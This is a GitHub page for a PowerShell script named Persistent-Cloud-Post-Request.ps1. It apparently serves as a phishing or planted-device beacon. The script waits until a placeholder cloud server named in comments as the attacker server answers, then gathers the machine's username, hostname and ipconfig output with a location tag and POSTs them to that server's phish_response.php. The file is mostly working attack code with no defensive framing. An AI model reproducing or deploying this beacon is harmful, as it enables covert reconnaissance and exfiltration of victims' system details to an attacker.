-
Notifications
You must be signed in to change notification settings - Fork 0
/
Persistent-Cloud-Post-Request.ps1
65 lines (43 loc) · 1.43 KB
/
Persistent-Cloud-Post-Request.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#Check whether can connect to internet or sleep until internet access is turned on
$loop = 'true'
try
{
$Response = Invoke-WebRequest -Uri "http://<google cloud ip>/phish_response.php" -UseBasicParsing
# This will only execute if the Invoke-WebRequest is successful.
$StatusCode = $Response.StatusCode
}
catch
{
$StatusCode = $_.Exception.Response.StatusCode.value__
}
#loop checking if status code is not 200
while(($StatusCode) -ne '200'){
Start-Sleep -s 15
try
{
$Response = Invoke-WebRequest -Uri "http://<google cloud ip>/phish_response.php" -UseBasicParsing
# This will only execute if the Invoke-WebRequest is successful.
$StatusCode = $Response.StatusCode
}
catch
{
$StatusCode = $_.Exception.Response.StatusCode.value__
}
}
# SEND FIRST EMAIL FOR SYSTEM INFO
$username_command = whoami
$hostname_command = hostname
$ipaddr_command = ipconfig
$username_output = "Username : "
$hostname_output = "Hostname : "
$ip_output = "IP : "
$newline = "`r`n"
$location = "RESTROOM"
$location_output = "LOCATION : "
$sysinfo = $username_output+$username_command+$newline+$hostname_output+$hostname_command+$newline+$ip_output+$ipaddr_command+$newline+$newline+$location_output+$location+$newline
# SEND POST REQUEST TO ATTACKER SERVER
$Body = @{
sysinfo_post = $sysinfo;
}
Invoke-WebRequest 'http://<google cloud ip>/phish_response.php' -Body $Body -Method 'POST' -UseBasicParsing
$loop='false'